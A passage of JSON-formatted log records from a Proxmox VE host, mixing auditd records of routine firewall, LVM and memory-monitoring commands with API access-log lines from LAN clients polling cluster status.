exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965014617,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781965845676,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.676:67345): argc=1 a0=\"date\""} {"@timestamp":1781964225869,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.869:60124): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965855855,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.855:67388): arch=c000003e syscall=59 success=yes exit=0 a0=7ffefcaf6770 a1=5d77d6bf8310 a2=5d77d6bf1680 a3=5 items=2 ppid=64716 pid=64717 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595950,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965595.950:66269): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63644 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965012745,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:52 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1083"} {"@timestamp":1781965845671,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.671:67343): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964225864,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.864:60123): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965855851,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.851:67386): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64716 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595938,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965595.938:66268): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63643 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965012745,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965845663,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.663:67342): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964225859,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.859:60122): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965855841,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.841:67385): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64715 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595930,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965595.930:66267): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b58f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63642 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965012745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1083"} {"@timestamp":1781965845655,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.655:67341): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964225854,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.854:60121): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965855833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.833:67384): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64714 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595921,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965595.921:66266): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138a90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63641 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965011703,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781965845649,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.649:67340): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964225848,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.848:60120): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965855826,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.826:67383): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada5c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64713 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595911,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965595.911:66265): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0de9d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63640 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965009882,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1083"} {"@timestamp":1781965845639,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.639:67339): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964225843,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.843:60119): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965855818,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.818:67382): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64712 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965594409,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965594.409:66264): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c5130 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63639 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965009882,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:48 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781965845629,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.629:67338): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964225836,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.836:60118): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965855809,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.809:67381): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fcf60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64711 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965594375,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965594.375:66263): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bfd20 a1=64f8d73db750 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63638 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965008647,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1083"} {"@timestamp":1781965845050,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.050:67337): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964225830,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.830:60117): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965854544,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965854.544:67380): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64710 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965593606,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965593.606:66262): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63635 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965008647,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781965845020,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.020:67336): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964225826,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.826:60116): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965854535,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965854.535:67377): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64709 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965593589,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965593.589:66259): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955cf0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63634 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965006862,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 476"} {"@timestamp":1781965844507,"@rawstring":"node=pve type=EXECVE msg=audit(1781965844.507:67335): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964225823,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.823:60115): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965854175,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965854.175:67374): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d4afb000 a1=64f8d740e940 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64706 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965588583,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965588.583:66256): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955c30 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63633 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965006862,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1083"} {"@timestamp":1781965844500,"@rawstring":"node=pve type=EXECVE msg=audit(1781965844.500:67332): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964225821,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.821:60114): argc=1 a0=\"date\""} {"@timestamp":1781965854147,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965854.147:67373): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d5f60 a1=64f8d7410770 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64705 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965588574,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965588.574:66253): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63632 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965006862,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:45 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781965840882,"@rawstring":"node=pve type=EXECVE msg=audit(1781965840.882:67329): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964225818,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.818:60112): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965852807,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965852.807:67372): arch=c000003e syscall=59 success=yes exit=0 a0=61301a5c21d0 a1=61301a45f900 a2=61301a8aab30 a3=8 items=2 ppid=1541 pid=64704 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=\"rm\" exe=\"/usr/bin/rm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585892,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.892:66250): arch=c000003e syscall=59 success=yes exit=0 a0=607eaf05f0a0 a1=607eaf05be20 a2=607eaf03d680 a3=5 items=2 ppid=63625 pid=63631 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965004629,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965840882,"@rawstring":"node=pve type=EXECVE msg=audit(1781965840.882:67328): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964225812,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.812:60111): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965849526,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965849.526:67371): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64703 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.887:66249): arch=c000003e syscall=59 success=yes exit=0 a0=607e9d1e3ac8 a1=7fffdbba0fd0 a2=607eaf03d680 a3=607e9d1c724e items=2 ppid=63625 pid=63627 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965003615,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965840881,"@rawstring":"node=pve type=EXECVE msg=audit(1781965840.881:67327): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964225805,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.805:60110): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965849514,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965849.514:67368): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64702 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585886,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.886:66248): arch=c000003e syscall=59 success=yes exit=0 a0=7fffdbba0f90 a1=607eaf044310 a2=607eaf03d680 a3=5 items=2 ppid=63625 pid=63626 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965003615,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965839489,"@rawstring":"node=pve type=EXECVE msg=audit(1781965839.489:67326): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964225799,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.799:60109): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965845797,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.797:67365): arch=c000003e syscall=59 success=yes exit=0 a0=5a150e8faed0 a1=5a150e8f7c50 a2=5a150e8d9680 a3=5 items=2 ppid=64695 pid=64701 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585881,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.881:66246): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63625 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965003615,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781965839481,"@rawstring":"node=pve type=EXECVE msg=audit(1781965839.481:67323): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964225793,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.793:60108): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965845793,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.793:67364): arch=c000003e syscall=59 success=yes exit=0 a0=5a1500e08ac8 a1=7ffefb19cd20 a2=5a150e8d9680 a3=5a1500dec24e items=2 ppid=64695 pid=64697 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585872,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.872:66245): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63624 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965002627,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:41 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 841"} {"@timestamp":1781965835613,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.613:67320): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964225786,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.786:60107): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965845792,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.792:67363): arch=c000003e syscall=59 success=yes exit=0 a0=7ffefb19cce0 a1=5a150e8e0310 a2=5a150e8d9680 a3=5 items=2 ppid=64695 pid=64696 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585863,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.863:66244): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63623 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965000706,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:40 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965835606,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.606:67319): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964224312,"@rawstring":"node=pve type=EXECVE msg=audit(1781964224.312:60106): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965845787,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.787:67361): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64695 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585852,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.852:66243): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63622 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965000706,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965835603,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.603:67318): argc=1 a0=\"date\""} {"@timestamp":1781964224280,"@rawstring":"node=pve type=EXECVE msg=audit(1781964224.280:60105): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965845775,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.775:67360): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64694 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585845,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.845:66242): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63621 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965000706,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:39 +0100] \"GET 